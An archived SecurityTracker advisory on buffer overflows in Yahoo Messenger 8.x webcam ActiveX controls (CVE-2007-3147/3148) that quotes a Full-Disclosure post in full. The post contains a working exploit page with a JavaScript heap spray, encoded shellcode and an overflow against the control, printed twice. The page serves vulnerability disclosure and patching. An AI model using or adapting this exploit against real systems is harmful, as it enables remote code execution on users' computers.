SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Instant Messaging/IRC/Chat)  >   Yahoo Messenger Vendors:   Yahoo
Yahoo Messenger Buffer Overflows in Webcam ActiveX Controls Let Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1018204
SecurityTracker URL:  http://securitytracker.com/id/1018204
CVE Reference:   CVE-2007-3147, CVE-2007-3148   (Links to External Site)
Updated:  May 10 2008
Original Entry Date:  Jun 7 2007
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 8.x
Description:   Two vulnerabilities were reported in Yahoo Messenger. A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create specially crafted HTML that, when loaded by the target user, will trigger a buffer overflow in some Wecam image upload and viewing ActiveX controls used by Yahoo Messenger and execute arbitrary code on the target system. The code will run with the privileges of the target user.

The CLSIDs of the affected controls are:

DCE2F8B1-A520-11D4-8FD0-00D0B7730277
9D39223E-AE8E-11D4-8FD3-00D0B7730277

Danny, server.exception at yahoo.com, reported these vulnerabilities.

Impact:   A remote user can create HTML that, when loaded by the target user, will execute arbitrary code on the target user's system.
Solution:   The vendor has issued a fix. Versions installed on or after June 8, 2007 include the fix.

The Yahoo advisory is available at:

http://messenger.yahoo.com/security_update.php?id=060707

Vendor URL:  messenger.yahoo.com/security_update.php?id=060707 (Links to External Site)
Cause:   Boundary error
Underlying OS:   Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Wed, 6 Jun 2007 15:50:22 -0700 (PDT)
Subject:  [Full-disclosure] Yahoo 0day ActiveX Webcam Exploit

--===============2054051769==
Content-Type: multipart/alternative; boundary="0-1587020138-1181170222=:42658"
Content-Transfer-Encoding: 8bit

--0-1587020138-1181170222=:42658
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

<html>
<!--
45 minutes of fuzzing!
Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!
 
link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856
maybe more vulz!
 
Greetz to: str0ke and shinnai!
-->
<html>
<script>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='target'
shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + 
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");    
bigblock = unescape("%u9090%u9090"); 
headersize = 20; 
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock; 
fillblock = bigblock.substring(0, slackspace); 
block = bigblock.substring(0, bigblock.length-slackspace); 
while(block.length+slackspace<0x40000) block = block+block+fillblock; 
memory = new Array(); 
for (x=0; xi<800; x++) memory[x] = block + shellcode; 
var buffer = '\x0a'; 
while (buffer.length < 5000) buffer+='\x0a\x0a\x0a\x0a'; 
target.server = buffer; 
target.initialize(); 
target.send(); 
</script>
</html>
sometimes 0a0a0a0a0a is not as good as 0d0d0d0d or 11111111
       
---------------------------------
Luggage? GPS? Comic books? 
Check out fitting  gifts for grads at Yahoo! Search.
--0-1587020138-1181170222=:42658
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

&lt;html&gt;<BR>&lt;!--<BR>45 minutes of fuzzing!<BR>Great results! very relible, runs calc.exe, replace with shellcode of your choice!!!<BR>&nbsp;<BR>link:http://www.informationweek.com/news/showArticle.jhtml?articleID=199901856<BR>maybe
 more vulz!<BR>&nbsp;<BR>Greetz to: str0ke and shinnai!<BR>--&gt;<BR>&lt;html&gt;<BR>&lt;script&gt;<BR>&lt;object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277'
 id='target'<BR>shellcode = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +<BR>"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55"
 +<BR>"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +<BR>"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +<BR>"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D"
 +<BR>"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +<BR>"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +<BR>"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40"
 +<BR>"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6"
 +<BR>"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" + <BR>"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +<BR>"%uCC4A%uD0FF");&nbsp;&nbsp;&nbsp;
 <BR>bigblock = unescape("%u9090%u9090"); <BR>headersize = 20; <BR>slackspace = headersize+shellcode.length<BR>while (bigblock.length&lt;slackspace)
 bigblock+=bigblock; <BR>fillblock = bigblock.substring(0, slackspace); <BR>block = bigblock.substring(0, bigblock.length-slackspace);
 <BR>while(block.length+slackspace&lt;0x40000) block = block+block+fillblock; <BR>memory = new Array(); <BR>for (x=0; xi&lt;800; x++)
 memory[x] = block + shellcode; <BR>var buffer = '\x0a'; <BR>while (buffer.length &lt; 5000) buffer+='\x0a\x0a\x0a\x0a'; <BR>target.server
 = buffer; <BR>target.initialize(); <BR>target.send(); <BR>&lt;/script&gt;<BR>&lt;/html&gt;<BR>sometimes 0a0a0a0a0a is not as good
 as 0d0d0d0d or 11111111<p>&#32;
      <hr size=1>Luggage? GPS? Comic books? <br>
Check out fitting <a href="http://us.rd.yahoo.com/evt=48249/*http://search.yahoo.com/search?fr=oni_on_mail&p=graduation+gifts&cs=bz">
 gifts for grads</a> at Yahoo! Search.
--0-1587020138-1181170222=:42658--


--===============2054051769==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--===============2054051769==--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC